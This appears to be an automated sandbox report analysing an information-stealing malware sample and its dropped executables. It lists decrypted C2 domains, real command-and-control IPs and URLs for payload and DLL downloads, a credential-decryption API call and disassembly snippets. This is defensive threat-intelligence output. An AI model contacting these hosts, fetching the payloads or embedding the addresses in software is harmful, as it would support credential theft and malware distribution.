Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\EUCyhuW[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[3].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: rapeflowwj.lat
Source: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: crosshuaht.lat
Source: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: sustainskelet.lat
Source: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: aspecteirs.lat
Source: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: energyaffai.lat
Source: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: necklacebudi.lat
Source: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: discokeyus.lat
Source: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: grannyejh.lat
Source: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: bellflamre.click
Source: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: LPnhqo--pndzrnkjnmnw

Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe

Code function: 9_2_00417496 CryptUnprotectData,

9_2_00417496

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: mozglue.pdbP source: 9f6ea82062.exe, 00000020.00000002.4069578254.000000006C0DD000.00000002.00000001.01000000.0000001E.sdmp
Source:	Binary string: nss3.pdb@ source: 9f6ea82062.exe, 00000020.00000002.4077186117.000000006C29F000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdb source: skotes.exe, 00000006.00000003.4278061535.0000000005BB0000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000003.4281279423.0000000005BB0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdbdj~j pj_CorExeMainmscoree.dll source: skotes.exe, 00000006.00000003.4278061535.0000000005BB0000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000003.4281279423.0000000005BB0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: 9f6ea82062.exe, 00000020.00000002.4077186117.000000006C29F000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 5936bfa4af.exe, 0000002C.00000002.3621203518.0000000000192000.00000040.00000001.01000000.00000016.sdmp
Source:	Binary string: C:\Admin\Workspace\1766103906\Project\Release\Project.pdb source: 17ce3a84e4.exe, 0000001B.00000003.4436703085.0000000002F46000.00000004.00000800.00020000.00000000.sdmp, 17ce3a84e4.exe, 0000001B.00000000.3007120509.00000000005EC000.00000002.00000001.01000000.0000000F.sdmp, 17ce3a84e4.exe, 0000001B.00000002.4512003521.00000000005EC000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: mozglue.pdb source: 9f6ea82062.exe, 00000020.00000002.4069578254.000000006C0DD000.00000002.00000001.01000000.0000001E.sdmp

Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: number of queries: 1001
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: number of queries: 1001

Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 7_2_00386304 FindFirstFileExW,	7_2_00386304
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 7_2_003863B5 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	7_2_003863B5
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00386304 FindFirstFileExW,	9_2_00386304
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_003863B5 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	9_2_003863B5

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\370821
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\370821\

Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then mov edx, ecx	9_2_0043D0F0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 71B3F069h	9_2_0043D0F0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then mov esi, eax	9_2_0042A95E
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then mov byte ptr [edi], al	9_2_0042A95E
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then mov ecx, eax	9_2_00439170
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+edi+5602E8D9h]	9_2_0040C1BE
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-0EAF77CFh]	9_2_0042B299
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 2DA07A80h	9_2_0043D330
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then mov ebx, edx	9_2_00436460
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	9_2_00417496
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+042DD56Dh]	9_2_0043B4A3
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax]	9_2_00421DC5
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	9_2_0043D580
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 5D0AA591h	9_2_0043B6EA
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then mov ecx, edx	9_2_0043D690
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then mov ecx, eax	9_2_0040A800
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], 12BAC918h	9_2_0041780D
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E785F9BAh	9_2_00418810
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], E5FE86B7h	9_2_004398D0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], E5FE86B7h	9_2_004398D0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then mov edx, ecx	9_2_004398D0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then jmp dword ptr [004436A4h]	9_2_004158F0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-4B2E9D9Fh]	9_2_004288FA
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then mov ebx, eax	9_2_004058B0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then mov ebp, eax	9_2_004058B0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then mov ecx, eax	9_2_0043D900
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	9_2_004331E0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx-29h]	9_2_00409190
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then mov esi, edx	9_2_00424A40
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then mov esi, eax	9_2_0042A959
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then mov byte ptr [edi], al	9_2_0042A959
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+24h]	9_2_0042826A
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-000000B4h]	9_2_00421221
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+edi+0Ch]	9_2_004082E0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then mov word ptr [eax], cx	9_2_004152EC
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then movzx esi, byte ptr [eax]	9_2_00429A80
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then mov edx, ecx	9_2_0043BAB1
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then mov byte ptr [ebp+00h], al	9_2_0041CB00
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then mov byte ptr [edi], cl	9_2_0042C31E
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then call dword ptr [00440DA8h]	9_2_0040CBF6
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], C7235EAFh	9_2_0043D460
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+28h]	9_2_00407410
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	9_2_00407410
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then mov ecx, eax	9_2_004254C0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then cmp al, 2Eh	9_2_004254E0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then mov byte ptr [edx], al	9_2_004254E0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-466F3075h]	9_2_004254E0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E785F9BAh	9_2_00413CF0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ecx+60h]	9_2_0040ACB0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	9_2_00428D20
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then mov byte ptr [esi], al	9_2_00429DE3
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then add ecx, FFFFFFFEh	9_2_00436DF0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then mov ecx, eax	9_2_00409580
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ebp+458F1EF1h]	9_2_00409580
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then jmp ecx	9_2_00426D90
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then movzx edx, byte ptr [eax]	9_2_00426D90
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-7B590292h]	9_2_0041FE5F
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx-4B2E9DB5h]	9_2_00427660
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-000000ABh]	9_2_00414E1A
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx-4B2E9DB5h]	9_2_00427660
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+0Eh]	9_2_00427EC0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+esi-14h]	9_2_00435F70
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+0Eh]	9_2_00427726
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then mov byte ptr [ecx], al	9_2_0040C7AC
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 4x nop then mov byte ptr [ecx], al	9_2_0040C7AC

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 179MB

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: bellflamre.click
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 104.21.21.99 104.21.21.99
Source: Joe Sandbox View	IP Address: 1.1.1.1 1.1.1.1
Source: Joe Sandbox View	IP Address: 1.1.1.1 1.1.1.1

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EBE0C0 recv,recv,recv,recv,

0_2_00EBE0C0

Source: 580c9354ec.exe, 0000001F.00000003.4358124840.0000000001215000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 580c9354ec.exe, 0000001F.00000003.4347342206.0000000001215000.00000004.00000020.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.4360295909.00000000059D2000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.4358124840.0000000001215000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 580c9354ec.exe, 0000001F.00000003.4347342206.0000000001215000.00000004.00000020.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.4358124840.0000000001215000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe?
Source: 580c9354ec.exe, 0000001F.00000003.4358124840.0000000001215000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: 9f6ea82062.exe, 00000020.00000002.3942624190.0000000000BB7000.00000040.00000001.01000000.00000012.sdmp, 9f6ea82062.exe, 00000020.00000002.3929798314.000000000094E000.00000004.00000020.00020000.00000000.sdmp, 9f6ea82062.exe, 00000024.00000002.4260064567.000000000164D000.00000004.00000020.00020000.00000000.sdmp, 9f6ea82062.exe, 00000024.00000002.4260064567.00000000015FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 9f6ea82062.exe, 00000024.00000002.4260064567.000000000164D000.00000004.00000020.00020000.00000000.sdmp, 9f6ea82062.exe, 00000024.00000002.4260064567.00000000015FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 9f6ea82062.exe, 00000020.00000002.3929798314.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: 9f6ea82062.exe, 00000020.00000002.3929798314.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: 9f6ea82062.exe, 00000020.00000002.3929798314.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll.
Source: 9f6ea82062.exe, 00000020.00000002.3929798314.00000000009A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: 9f6ea82062.exe, 00000020.00000002.3929798314.00000000009C1000.00000004.00000020.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000002.3929798314.000000000094E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: 9f6ea82062.exe, 00000020.00000002.3929798314.000000000094E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllConneb
Source: 9f6ea82062.exe, 00000020.00000002.3929798314.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllllj
Source: 9f6ea82062.exe, 00000020.00000002.3929798314.00000000009A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: 9f6ea82062.exe, 00000020.00000002.3929798314.00000000009A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllg
Source: 9f6ea82062.exe, 00000020.00000002.3929798314.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: 9f6ea82062.exe, 00000020.00000002.3929798314.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllF
Source: 9f6ea82062.exe, 00000020.00000002.3929798314.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: 9f6ea82062.exe, 00000024.00000002.4260064567.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/9
Source: 9f6ea82062.exe, 00000024.00000002.4260064567.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/Local
Source: 9f6ea82062.exe, 00000020.00000002.3929798314.00000000009C1000.00000004.00000020.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000002.4054758953.000000000B8E1000.00000004.00000020.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000002.3929798314.000000000094E000.00000004.00000020.00020000.00000000.sdmp, 9f6ea82062.exe, 00000024.00000002.4260064567.000000000164D000.00000004.00000020.00020000.00000000.sdmp, 9f6ea82062.exe, 00000024.00000002.4260064567.00000000015FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 9f6ea82062.exe, 00000024.00000002.4260064567.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/a
Source: 9f6ea82062.exe, 00000020.00000002.3929798314.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php34
Source: 9f6ea82062.exe, 00000020.00000002.3929798314.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php8
Source: 9f6ea82062.exe, 00000020.00000002.3929798314.00000000009A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php;
Source: 9f6ea82062.exe, 00000020.00000002.3929798314.000000000094E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpBrowser
Source: 9f6ea82062.exe, 00000020.00000002.3929798314.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpP5
Source: 9f6ea82062.exe, 00000020.00000002.3942624190.0000000000BB7000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: 9f6ea82062.exe, 00000020.00000002.3942624190.0000000000BB7000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpe13b062b4c5e95f4989d6bd1e553
Source: 9f6ea82062.exe, 00000020.00000002.3942624190.0000000000BB7000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpinit.exe
Source: 9f6ea82062.exe, 00000020.00000002.3942624190.0000000000BB7000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpl
Source: 9f6ea82062.exe, 00000020.00000002.3929798314.00000000009A6000.00000004.00000020.00020000.00000000.sdmp, 9f6ea82062.exe, 00000024.00000002.4260064567.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpo
Source: 9f6ea82062.exe, 00000020.00000002.3929798314.00000000009A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e
Source: 9f6ea82062.exe, 00000020.00000002.3942624190.0000000000BB7000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: http://185.215.113.206/form-data;
Source: 9f6ea82062.exe, 00000020.00000002.3942624190.0000000000BB7000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: http://185.215.113.206FCG
Source: 9f6ea82062.exe, 00000024.00000002.4260064567.00000000015FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206b
Source: 9f6ea82062.exe, 00000020.00000002.3942624190.0000000000BB7000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: http://185.215.113.206c4becf79229cb002.phpion:
Source: skotes.exe, 00000006.00000003.4278061535.0000000005B63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php8001
Source: EUCyhuW.exe, 00000009.00000003.2853484209.00000000037FD000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3378806018.000000000397D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3603169180.0000000005A83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: EUCyhuW.exe, 00000009.00000003.2853484209.00000000037FD000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3378806018.000000000397D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3603169180.0000000005A83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: skotes.exe, 00000006.00000003.4278061535.0000000005B63000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001C.00000002.3169413863.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: 17ce3a84e4.exe, 0000001B.00000003.4498901768.000000000152C000.00000004.00000020.00020000.00000000.sdmp, 17ce3a84e4.exe, 0000001B.00000002.4524131042.000000000152C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mw
Source: EUCyhuW.exe, 00000009.00000003.2853484209.00000000037FD000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3378806018.000000000397D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3603169180.0000000005A83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: skotes.exe, 00000006.00000003.4278061535.0000000005B63000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001C.00000002.3169413863.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: skotes.exe, 00000006.00000003.4278061535.0000000005B63000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001C.00000002.3169413863.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: skotes.exe, 00000006.00000003.4278061535.0000000005B63000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000003.4278061535.0000000005B81000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001C.00000002.3169413863.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: skotes.exe, 00000006.00000003.4278061535.0000000005B63000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000003.4278061535.0000000005B81000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001C.00000002.3169413863.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: EUCyhuW.exe, 00000009.00000003.2853484209.00000000037FD000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3378806018.000000000397D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3603169180.0000000005A83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: EUCyhuW.exe, 00000009.00000003.2853484209.00000000037FD000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3378806018.000000000397D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3603169180.0000000005A83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
